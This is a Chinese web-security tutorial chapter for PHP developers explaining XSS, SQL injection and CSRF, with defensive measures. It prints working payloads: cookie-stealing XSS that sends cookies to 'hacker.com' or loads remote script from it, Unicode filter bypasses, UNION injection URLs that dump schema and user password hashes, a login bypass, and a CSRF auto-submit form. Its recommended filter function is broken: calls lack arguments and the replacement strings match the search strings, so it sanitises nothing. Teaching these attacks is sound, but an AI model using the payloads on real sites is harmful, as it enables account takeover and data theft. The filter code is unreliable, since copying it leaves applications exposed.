#安全性
作為一個技術人員,不能犯兩種錯誤,一個是安全問題一個是高并發的問題, 如果一個產品出現了這兩個問題失去大量用戶。 這節我們重點說說安全問題,下節將會講解高并發的問題。
安全問題的出現的原因是我們太信任用戶輸入的內容,對用戶輸入的內容沒有進行嚴格的過濾。我們要了解一些常見的安全漏洞,如XSS、Sql注入、CSRF等,以及知道如何過濾用戶輸入內容,防止這樣的安全問題。下面列舉一些常見的安全問題。
## XSS
Cross-site scripting,縮寫CSS又叫XSS,因為層疊樣式表也叫CSS,所以一般我們用XSS這個簡稱,中文意思是跨站腳本攻擊。黑客主要是用javascript腳本語言來攻擊網站,可以利用XSS漏洞盜取用戶的cookie,然后達到盜號的目的。
舉一個真實的案例, 2014年的7月, 秘密APP的后臺被黑客攻擊, 如圖1-34,黑客可以用管理員的身份登陸后臺,能查看所有用戶的秘密了,秘密已不成秘密,那用戶用著還放心嗎?(PS:這事秘密官方當時已妥善解決,沒有讓黑客泄露用戶隱私,漏洞已修復,現在還是可以放心用的。)

圖1-34 秘密APP被攻擊的微博
黑客是如何知道后臺地址的,又如何盜取到管理員賬號的?
其實很簡單,黑客發布一條帶js代碼的秘密, 后臺人員在審核這臺秘密時就會盜取信息, 黑客在發布的秘密中會帶如下js代碼:
```<script>
(new Image()).src="http://hacker.com/?cookie="+document.cookie+"&url="+location.href
</script>
```
代碼中的 hacker.com 是黑客自己的網站。 后臺往往是web界面,可以執行js代碼。 當管理員在后臺查看黑客的秘密時,管理員的cookie 和后臺地址會傳到黑客的網站被記錄下來。這樣黑客就盜取了管理員的cookie 。黑客再把自己瀏覽器的cookie設置和管理員一樣,然后訪問后臺地址就能以管理員身份登陸后臺。
所以我們不能相信用戶輸入的任何內容,要過濾用戶輸入的內容,不能讓用戶提交js代碼。但在過濾的時候注意思考全面,避免黑客能繞過過濾規則。下面相信說幾種黑客可能會繞過過濾規則的情況。
* 1,繞過strip_tags的過濾。
PHP的string_tags 可以過濾掉html標簽,黑客提交的js代碼中<script>和</script>都會被過濾掉,從而讓js代碼不能被執行。然而,如果黑客輸入的內容是顯示在一個標簽的屬性上面,黑客一樣有方法執行js代碼。 比如黑客輸入的內容為`" onclick="alert(1)` 而此內容會顯示在input標簽的value屬性中。那么html渲染完的代碼為: `<input value="" onclick="alert(1)" />` 。 黑客先用一個雙引號閉合了input標簽value屬性的雙引號, 然后再制造了一個onclick事件,在輸入框被點擊時觸發onclick事件中執行js代碼,這段內容沒有任何html標簽, 用strip_tags函數過濾也沒有用,從而黑客繞過了strip_tags的過濾
所以為了預防這種情況,我們不僅要用strip_tags過濾用戶輸入內容,還需要用htmlentities函數轉義引號,第二個參數要設置為ENT_QUOTES,這樣單引號和雙引號都能被轉換。 雙引號將被轉換為`"` , 單引號將被轉換為`'` 這種被轉換的引號能在網頁中正常顯示,但不能作為閉合屬性的引號。
有的人可能有僥幸心理,覺得在onclick事件上不能寫太多代碼。`alert(1)`只是黑客用來測試漏洞的簡單代碼,讓頁面彈出一個提示框, 一旦發現漏洞黑客就會寫更復雜的js代碼來攻擊我們網站的。如,黑客可以用下面代碼盜取cookie:
`<input value="" onclick="void(function(){ (new Image()).src='http://hacker.com/?cookie='+document.cookie+'&url='+location.href }())" />`
黑客通過在void里面構造一個閉包函數的方式,可以寫很多復雜的代碼,甚至可以再加載一個js文件:
`<input value="" onclick="void(function(){ var temp = document.createElement('script');temp.src = 'http://hacker.com/other.js';document.body.appendChild(temp) } }())" />`
然后黑客在other.js文件中想寫多少代碼都行,所以別認為一個事件上面不能寫太多代碼。
* 2,用Unicode編碼繞過過濾。
jQuery是能解析Unicode編碼的,如果用戶輸入的內容經過jQuery處理,那么黑客就可以用Unicode編碼來繞過strip_tags和htmlentities函數的過濾。大家可以測試這樣一段代碼:
```
<script>
$(function(){
$('#test').html('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e');
});
</script>
```
這段代碼是往一個id為test層設置html內容,設置的內容是Unicode編碼。大家可以在網上找一些unicode轉碼解碼工具測試,這段Unicode編碼對應的明文代碼為:
```
<script>alert('xss')</script>
```
我們運行代碼時發現js代碼被執行了,而黑客輸入的是一段Unicode編碼, 沒有任何html標簽也沒有引號,黑客通過這種方式能成功繞過 strip_tags和htmlentities函數的過濾.為了防止黑客用Unicode編碼攻擊,我們可以替換反斜杠, 沒有反斜杠黑客不能構造Unicode編碼。 可用下面方法替換反斜杠
```
str_replace('\\','\')
```
被替換后的反斜杠能在網頁中正常顯示,都不能作為惡意代碼進行攻擊。
* 3,其他注意的地方
通過上面的過濾在某些情況下黑客可能還是能繞過,如果用戶輸入的內容顯示在 a標簽的href上,黑客可以輸入`javascript:alert(1)` , a標簽最終代碼為 `<a href="javascript:alert(1)">鏈接文字</a>` ,則其他用戶點擊這個a標簽就會觸發js代碼。 類似的如果用戶輸入的內容是顯示在style屬性上,因為IE瀏覽器的CSS支持expression表達式,可以用expression構造js代碼, 黑客輸入內容為`width: expression(alert(1))` , 渲染的html為`<div style=“width: expression(alert(1));">` 這樣就js代碼就被執行了。
上面兩種情況都是前面過濾方法不能過濾的, 我們還應該替換javascript關鍵詞和expression關鍵詞。
```
str_ireplace(array(‘script’,’ expression’),array(‘script’,’ expression’),str);
```
上面代碼將script中t字母替換為全角的t字母, 將expression的n字母也替換為全角的,這樣他們不能當代碼執行了。
注意要用替換的方法,不要用刪除的方法, 用刪除的方法黑客一樣可以繞過的, 比如我們刪除script字符串。 黑客可以制作一個字符串`scrscriptipt` 被刪除一個script字符串后會新得到一個script字符串。
我們總結上面的過濾方法,然后封裝一個比較安全的過濾函數:
```
function filter($input){
$input=strip_tags(trim($input));
$input=htmlentities($input,ENT_QUOTES,'UTF-8');
$input=str_ireplace(
array('\\','script','expression'),
array('\','script','expression')
);
return $input;
}
```
用這個過濾函數后,用戶不能輸入html標簽了, 一些需要富文本編輯器輸入的地方,我們不能用html編輯器了,可以用markdown或ubb編輯器
除了過濾用戶輸入內容,還可以加上下面兩種方法增強系統的安全性。
* 1,設置httponly
httponly是http協議的內容, 所有的瀏覽器都遵守協議實現了httponly, 如果設置cookie時帶有httponly ,則 這個cookie只能用于http傳遞,不能被js讀取,從而防止了黑客用js讀取用戶cookie。
php的session要開啟httponly需要設置php.ini配置文件
```
session.cookie_httponly = On
```
* 2,強制重置session_id
session是基于cookie來實現的, 在瀏覽器cookie中有一個PHPSSESID的cookie就是session_id,用戶如果不清空瀏覽器cookie,那么這個用戶的session_id可能永久不變,即使用戶重新登錄也是老的session_id,一旦這個session_id被黑客盜取,黑客不管隔多長時間使用都可以,顯然是十分危險的。
我們不能讓這個session_id長期不變, 在登錄程序的地方執行代碼`session_regenerate_id(true)` 可以強制用戶瀏覽器更換一個新的session_id
## SQL注入
SQL注入的漏洞出現是因為我們沒有對用戶輸入的內容進行嚴格過濾,黑客輸入的內容可拼接SQL語句去操作數據庫。
比如我們有一個顯示文章的頁面(如圖1-35), 訪問地址為http://domain.com/article.php?id=1。

圖1-35 SQL注入示例
地址上會傳遞參數id, 是文章的id,一般都是數字類型的, 程序會用這個id拼接sql語句然后查詢數據庫。 假設PHP拼接SQL語句的程序為:
```
$sql="SELECT `title`,`content` FROM `article` WHERE `id`='{$_GET['id']}'";
```
上面代碼沒有對參數id進行任何過濾,直接用于拼接SQL語句,就會產生SQL注入的漏洞,黑客可以拼接自己的SQL語句,像這樣傳遞id參數:
```
http://domain.com/article.php?id=1' and sleep(10) --
```
那么實際執行的SQL語句為:
```
SELECT `title`,`content` FROM `article` WHERE `id`='1' and sleep(10) --'
```
黑客用單引號做閉合,然后執行自己的sql語句。 在SQL語句中兩個中線(--)表示注釋,黑客注釋掉了后面的單引號。 一般用sleep來測試是否有SQL注入漏洞,如果頁面真的等待時間10秒,就證明網站有SQL注入漏洞, 那么黑客就會接著繼續攻擊,獲得更多網站的信息。
黑客拼接如下URL:
```
http://domain.com/article.php?id=-1' union select 1,2 --
```
執行的實際SQL會為:
```
SELECT `title`,`content` FROM `article` WHERE `id`='-1' union select 1,2 --'
```
上面SQL語句,字符串“1”會顯示在標題的地方, 字符串“2”會顯示在文章內容的地方(如圖1-36)。

圖1-36 用數字占位后的結果
上面拼接的SQL語句需要說明兩點。
* 1,用select 1,2 來確定字段個數和字段顯示位置。
select的數量要和實際SQL語句讀取的字段個數一致, 因為上面例子的SQL語句只讀取了title,content 兩個字段,所以 select 1,2 能正常顯示, 如果SQL讀取的是三個字段, 那么應該拼接 select 1,2,3 才能正常顯示。黑客在這里嘗試幾次后就知道了SQL語句讀取了多少個字段并且每個字段顯示在哪個位置。
2,id要設置為-1
union聯合查詢的功能是讓新數據庫拼接到老數據庫后面,如果傳參id為1能查詢出來了文章,那么1,2會拼接到文章后面,如圖1-37。

圖1-37 union查詢當id為1時
而文章詳情頁只會把第一條數據顯示出來。我們讓傳參id就需要傳為-1,讓第一條數據查詢不出來,那么數字就會去占文章標題和文章內容的位置,如圖1-38。

圖1-38 union查詢當id為-1時
頁面上都用1,2這樣的數字占位后,黑客再把數字替換為自己想查詢的信息。
比如我們讓“1”的位置顯示為數據庫版本(如圖1-39):
URL地址:
```
http://domain.com/article.php?id=-1' union select version(),2 --
```
實際執行的SQL語句:
```
SELECT title,content FROM `article` WHERE `id`='-1' union select version(),2 -- '
```

圖1-39 讓“1”處顯示數據庫版本
從而知道了mysql的版本是5.1.73,如果黑客知道此版本有特殊漏洞,他再會采取相應的攻擊。
還可以更多很多其他信息。
要查詢當前連接的數據庫可以拼接如下SQL;
```
SELECT title,content FROM `article` WHERE `id`='-1' union select database(),2 -- '
```
要查詢數據庫結構可以拼接SQL為:
```
SELECT `title`,`content` FROM `article` WHERE `id`='-1' union 1, select (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x) --'
```
上面SQL語句通過讀取information_schema這個系統數據庫來查數據庫的表結構。因為數據庫結構信息量比較大,所以我們把它放在文件內容的地方,替換原來數字為2的地方。

圖1-40 讀取數據庫結構
如圖1-40,顯示除了數據庫結構,前面顯示的是系統表的結構,后面會顯示用戶建的表的結構,結構太長截圖中沒有沒有顯示出用戶表結構部分。 html的回車不會換行,只有br標簽才能換行,所以直接通過網頁看表結構不太直觀。我們可以通過查看html源代碼,這樣的格式更直觀,可以表結構是結構如下:
```
[ database_name ] >article > id
[ database_name ] >article > title
[ database_name ] >article > content
[ database_name ] >user > id
[ database_name ] >user > username
[ database_name ] >user > password
```
上面結構表示在`database_name`這個數據庫中有`aritcle`和`user`兩張表。
通過查詢出來的數據庫結構,我們發現數據庫中有一個表叫user表,我們要獲得user表的數據,拼接如下SQL即可:
```
SELECT title,content FROM `article` WHERE `id`='-1' union select username,password from user-- '
```

圖1-41 查詢用戶名和密碼
如圖1-41,我們查出一條數據用戶名為admin,密碼是加密過的,密文為`e10adc3949ba59abbe56`如果密碼的加密方式簡單,甚至連密碼的明文也是能破譯的。
黑客就是這樣盜取了我們數據庫的數據的。
我們再來看看經常聽說的**萬能登錄密碼**是什么。
如果網站的登陸程序有sql注入漏洞,甚至黑客不需要知道用戶的密碼就能登陸。
假設登陸程序PHP拼接SQL語句的程序為
```
$sql=SELECT * FROM `user` WHERE `username`='{$_POST['username']}' AND `password`='{$_POST['password']}';
```
程序中對POST傳參username和password沒有任何過濾,所以會有SQL注入漏洞。
黑客輸入username為`admin' -- ` , password 輸入任意的字符串。
這樣實際執行的SQL預計為
```
SELECT * FROM `user` WHERE `username`='admin' -- ' AND `password`='xxxx'
```
因為password的判斷被雙中線注釋掉了, 所以只要用戶名存在就可以登陸。
SQL注入的漏洞危害極大,然而預防方法卻是比較簡單的。
編程語言都會提供專門的過濾函數用于防止SQL注入, PHP如果使用PDO連接數據庫, 可以用`PDO::quote` 或`PDO::prepare` 對用戶傳參進行過濾。如果是使用mysql模塊連接數據庫可以使用`mysql_real_escape_string` 函數進行過濾。 另外還有一個函數`mysql_escape_string`不推薦大家用這個函數過濾,這個函數過濾不了mysql寬字符串。其實這些過濾函數都是在轉義單引號,防止黑客用單引號做閉合。但是,就和前面我們用Unicode代替js代碼類似, SQL語句中也可以用寬字符代替單引號。`mysql_escape_string`這個函數不能過濾寬字符。
除了用編程語言提供的過濾函數過濾,還要注意下面幾點。
* 1,SQL語句的值都要用單引號
SQL語句中如果是數字可以不用單引號, 比如
```
SELECT `title`,`content` FROM `article` WHERE `id`=1
```
這里的id數字1 可以不用單引號括起來,這個數字又是傳遞參數,沒有用單引號是比較危險了。 黑客都不用閉合引號了,即使變量被數據庫過濾函數過濾了,因為黑客輸入信息中沒有引號,黑客拼接的SQL語句一樣能執行。
* 2,整數值的轉換
如果SQL語句拼接的是整數的變量,這變量可以用intval函數強制轉換為整數型,這樣更加安全。
* 3, 變量在拼接SQL語句的時候過濾
比如:
```
$sql=“SELECT * FROM `user` WHERE `id`='".intval($id)."'"
```
這里的$id變量在拼接SQL語句的時候過濾。很多人覺得$id變量在SQL語句之前已經過濾了, 在這里拼接SQL時就可以不用過濾了, 這樣很不保險,代碼都是不斷在修改的,很可能就會以后某個人會把之前的過濾代碼誤刪了。
如果大家是用的像ThinkPHP這樣的框架,可能自己拼接SQL的情況比較少,很多時候都是用框架提供的Model操作數據庫。SQL語句的安全過濾在框架底層完成了。大家注意使用框架建議的安全用法,可能一不注意就沒有經過安全過濾。
以ThinkPHP為例。
```
M('table')->where(['name'=>$value])->select();
```
where中傳的的是數組時,框架底層會遍歷數組然后做安全過濾。
下面這種寫法,框架底層也會做安全過濾
```
M('table')->where("`name`='%s'",$value)->select();
```
但如果這樣寫,框架底層無法做安全過濾:
```
M('table')->where("`name`='{$value}'")->select();
```
`"`name`='{$value}'"` 這是SQL語句的一部分, 不管用什么框架,都不要把需要過濾的變量拼接部分SQL語句再傳給框架, 這樣做框架底層是無法識別要過濾的變量的, 我們應該把要過濾的變量直接傳給框架,這樣框架底層才能知道哪個是需要過濾的變量。
* 4,設置好數據庫權限
讓MySQL數據指定的用戶只能讀取指定的數據庫,不能讀取其他數據庫,這樣避免有SQL注入漏洞,黑客通過讀取系統數據庫information_schema查到表結構,也能防止黑客庫數據庫操作。
* 5,增加表前綴
有時候黑客會猜測表名,比如,是否有user表,是否有member表等。我們可以給表加上前綴,預防因為我們用了常用的表名而被黑客猜測出來。
* 6,增強加密算法
對于用戶密碼,不用只是加點的md5加密, md5很多弱密碼都能被破解, 盡量把密碼的加密方式設計復雜一些,結合多種算法hash256,DES、md5等加密方式,還可以加鹽值。
* 7,使用php-taint模塊
php-taint是鳥哥寫的一個可以自動檢查安全漏洞的php擴展。 比如我們寫一段有安全漏洞的代碼
```
<?php
function test1($a){
echo $a;
}
function test2($a){
$link=mysqli_connect('localhost', 'user', 'password', 'dbname');
mysqli_query($link,"SELECT FROM `table_name` WHERE `a`='{$a}'");
}
test1($_GET['a']);
test2($_GET['a']);
```
此代碼有兩個漏洞: 傳參沒有經過任何過濾就顯示出來,會有xss漏洞; 傳參沒有經過任何過濾就拼接SQL預計會有SQL注入漏洞。
因為我們安裝了php-taint模塊,運行這段代碼,程序就會報錯提醒我們可能有安全問題(如圖1-42)。

圖1-42 php-taint的安全提醒
報錯直接顯示在瀏覽器會影響網站的界面,如果開發的是API會導致輸出的不是json格式。所以php-taint 和 SocketLog結合最完美,我們可以把安全報警顯示在瀏覽器的console中(如圖1-43)。

圖1-43 php-taint和SocketLog結合
即使我們有安全意識也有粗心的時候,偶爾忘記過濾變量,如果一個程序100處用戶輸入的地方, 99處你都過濾了, 而有1處因為粗心忘記過濾, 就會造成安全漏洞, 不要有僥幸心理,認為這個漏洞不會被黑客發現, 黑客找漏洞往往是用掃描工具掃描, 找到這個漏洞非常快。 很多漏洞都是因為粗心導致, 而php-taint能很好避免粗心的問題,即使我們粗心忘記了過濾一個變量,它也會報錯提示我們。
在本書編寫時 php-taint 最新版本為2.0.1 beta版,支持了php7。 因為是beta版,在用pecl安裝的時候需要指定版本號
```
pecl install taint-2.0.1
```
##CSRF漏洞
CSRF是 Cross-site request forgery的縮寫,中文意思是跨站請求偽造,這種漏洞產生的原因是沒有對用戶提交數據做來源判斷。 CSRF能強制用戶做某種操作, 比如強制添加管理員、強制刪除用戶等。先舉一個簡單的例子,通過這個例子可以理解怎么強制用戶做操作。
假設有一個論壇,用戶退出程序`/loginout.php`,網站的退出按鈕鏈接到這個地址,訪問退出地址時程序會清空用戶的session。現在一個搞破壞的人,在論壇上面發了一篇帖子, 這篇帖子中有一張圖片
```
<img src="/loginout.php" />
```
而圖片地址就是退出地址。 想想用戶訪問這篇帖子時,是不是就被強制退出了。 這就是強制用戶做操作的一個例子。GET請求換成POST請求是一樣有問題,黑客在自己的網站上面做一個頁面,地址假設為`http://hacker.com/csrf.html`,這個頁面上有一個隱藏的表單,能自動提交
```
<form id="csrf_form" action="/bbs.com/loginout.php" method="post" target="csrf_frame">
</form>
<iframe name="csrf_frame" style="display:none;"></iframe>
<script>
document.getElementById('csrf_form').submit();
</script>
```
然后黑客在論壇上面發帖,帖子中有剛做好的頁面鏈接,然后誘導用戶去點這個鏈接,一旦用戶點開這個鏈接,就強制被執行了退出操作。
剛只是退出賬號的功能還好,如果是添加管理員,刪除用戶等操作有這樣的漏洞那危害性就比較大了。別以為添加管理員的程序做好了權限判斷,只有超級管理員才能添加管理員。 黑客知道了添加管理員的地址和添加管理員要提交的用戶名密碼等參數, 他就可以制作一個自動提交表單的頁面,把用戶名密碼這些參數寫好,然后誘導超級管理員去點擊這個鏈接,而超級管理員以前瀏覽器登陸過后臺,所以有權限添加管理員, 這樣超級管理員就不知不覺添加了一個新管理員,而這個新管理員是黑客知道用戶名和密碼的。 那么黑客就可以去登陸系統后臺了。
**防止CSRF攻擊有三種方法**
* 1,判斷請求來源。
程序可以用`$_SERVER['HTTP_REFERER']`獲得請求的來源,判斷來源域名是否為自己網站的域名。來源驗證通過了才進行相應操作。這樣黑客在自己的網站地址下偽造請求,因為來源驗證不能通過,所以不能強制用戶操作。
* 2,驗證碼
在提交form表單的時候,顯示一張驗證碼圖片, 用戶要輸入驗證碼正確才能進行相應操作,因為驗證碼是動態變的,每次都不一樣,所以黑客自己的自動提交表單的程序,無法動態設置驗證碼這個參數。
驗證碼在生產的時候程序已經把驗證碼的值存到了session,用戶提交請求時程序只是判斷用戶輸入的驗證碼是否和session中的驗證碼值一致,驗證通過才做相應操作。
但如果每個表單提交操作都用驗證碼,用戶會覺得操作繁瑣,會流失用戶,所以建議大家只在關鍵操作的時候使用驗證碼。在注冊的時候使用驗證碼不僅能防CSRF攻擊,還能防止機器注冊。
* 3,令牌驗證
令牌驗證的原理其實和驗證碼不差多,只是不讓用戶手動輸入驗證碼了。 程序在顯示form表單時候會生成一個隱藏域,這個隱藏域的值是一個隨機字符串,這個隱藏域就是令牌, 程序在生成令牌的時候其實已經把令牌的值session存儲了, 在提交請求時,程序判斷提交過來的令牌是否和session中的值一致,驗證通過才做相應操作。這里的令牌就像驗證碼,只是這個驗證碼不用用戶手動輸入了,而在表單的隱藏域自動填好了驗證碼的值。
同樣,黑客是無法動態改變他寫的自動提交表單程序中令牌參數的,所以無法進行CSRF攻擊。
令牌驗證的功能是很多框架自帶的,ThinkPHP設置配置項`TOKEN_ON`為true就可開啟令牌驗證。
需要提醒大家的是:令牌驗證只能防CSRF攻擊,是不能防機器注冊、機器抓取的,有些人誤認為令牌驗證還能防機器程序,令牌的值就在頁面中,機器程序時能識別讀取出來的。 程序要判斷是機器操作還是人在操作,只能通過驗證碼,手機短信驗證,限制訪問頻率等手段。
## 其他安全問題
本章詳細介紹了三種常見的安全漏洞。而程序容易出現安全問題的地方還有很多,比如上傳文件沒有判斷文件格式會導致黑客上傳WebShell攻擊網站,還有linux服務器也容易出現漏洞,我們用的運行環境nginx、Apache 等也可能會有潛在的漏洞, 多關注自己使用的開源軟件, 及時升級,及時打上安全補丁。
如果你的產品做出名了,天天都會有黑客或競爭對手找你產品的安全漏洞, 產品出了安全問題往往是毀滅性的,大家一定要樹立安全意識。